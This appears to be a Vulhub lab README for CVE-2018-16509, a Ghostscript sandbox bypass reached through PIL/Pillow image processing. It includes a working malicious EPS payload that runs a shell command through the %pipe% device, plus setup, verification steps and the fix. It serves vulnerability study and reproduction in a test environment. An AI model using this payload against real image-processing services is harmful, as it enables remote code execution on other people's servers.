Aaron
63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
93 lines
4.0 KiB
Markdown
93 lines
4.0 KiB
Markdown
# Python PIL/Pillow Remote Command Execution (CVE-2018-16509)
|
|
|
|
[中文文档](README.zh-cn.md)
|
|
|
|
PIL/Pillow is a widely used image processing library in Python.
|
|
|
|
In Ghostscript versions prior to 9.24, there exists a -dSAFER sandbox bypass vulnerability (CVE-2018-16509). Incorrect "restoration of privilege" checking during handling of /invalidaccess exceptions could be used by attackers able to supply crafted PostScript to execute code using the "pipe" instruction.
|
|
|
|
This vulnerability affects various applications that use Ghostscript for image processing, including Python's PIL/Pillow library. When an application uses PIL/Pillow to process user-uploaded images and the environment has a vulnerable version of Ghostscript installed, it may lead to remote command execution.
|
|
|
|
References:
|
|
|
|
- [Ghostscript: -dSAFER bypass (CVE-2018-16509)](https://seclists.org/oss-sec/2018/q3/142)
|
|
- [PIL/Pillow EPS Image Processing](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/EpsImagePlugin.py)
|
|
- [Ghostscript Sandbox Bypass Analysis](https://paper.seebug.org/1159/)
|
|
|
|
## Environment Setup
|
|
|
|
Execute the following command to start a vulnerable Flask application (using Ghostscript 9.23):
|
|
|
|
```
|
|
docker compose up -d
|
|
```
|
|
|
|
After the environment is started, visit `http://your-ip:8000` to see a simple image upload page.
|
|
|
|
## Vulnerability Reproduction
|
|
|
|
Prepare a malicious EPS file (provided as `rce.jpg` in this environment) with the following content:
|
|
|
|
```
|
|
%!PS-Adobe-3.0 EPSF-3.0
|
|
%%BoundingBox: -0 -0 100 100
|
|
|
|
userdict /setpagedevice undef
|
|
save
|
|
legal
|
|
{ null restore } stopped { pop } if
|
|
{ legal } stopped { pop } if
|
|
restore
|
|
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
|
|
```
|
|
|
|
Visit `http://your-ip:8000` and upload this file.
|
|
|
|
After uploading, the server will process this image using PIL/Pillow, and when the `resize` function is called, it will trigger the vulnerability and execute the `touch /tmp/got_rce` command.
|
|
|
|
Execute the following command to verify if the vulnerability has been successfully exploited:
|
|
|
|
```
|
|
docker compose exec web ls -la /tmp/
|
|
```
|
|
|
|
If you see the `/tmp/got_rce` file, it means the command execution was successful.
|
|
|
|
## Vulnerability Analysis
|
|
|
|
The core of the vulnerability lies in PIL/Pillow calling the system's Ghostscript program when processing EPS images. In `EPSImagePlugin.py`, PIL uses `subprocess` to call Ghostscript:
|
|
|
|
```python
|
|
command = ["gs",
|
|
"-q", # quiet mode
|
|
"-g%dx%d" % size, # set output geometry (pixels)
|
|
"-r%fx%f" % res, # set input DPI (dots per inch)
|
|
"-dBATCH", # exit after processing
|
|
"-dNOPAUSE", # don't pause between pages
|
|
"-dSAFER", # safe mode
|
|
"-sDEVICE=ppmraw", # ppm driver
|
|
"-sOutputFile=%s" % outfile, # output file
|
|
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
|
|
# adjust for image origin
|
|
"-f", infile, # input file
|
|
"-c", "showpage", # showpage
|
|
]
|
|
```
|
|
|
|
Although the `-dSAFER` parameter is used, Ghostscript versions prior to 9.24 have a sandbox bypass vulnerability that allows attackers to execute arbitrary commands through specially crafted PostScript code.
|
|
|
|
In the sample application, when an image is uploaded, it is processed as follows:
|
|
|
|
```python
|
|
img = Image.open(img_path)
|
|
w, h = img.size
|
|
ratio = 256.0 / max(w, h)
|
|
|
|
resized_img = img.resize((int(w * ratio), int(h * ratio)))
|
|
resized_img.save(img_path)
|
|
```
|
|
|
|
Simply calling `Image.open()` will not trigger the vulnerability, but when methods that actually need to load image data, such as `resize()` or `save()`, are called, they will trigger the Ghostscript call and execute malicious commands.
|
|
|
|
To fix this vulnerability, you need to update Ghostscript to version 9.24 or higher, or disable EPS image processing functionality when using PIL/Pillow to process user-uploaded images.
|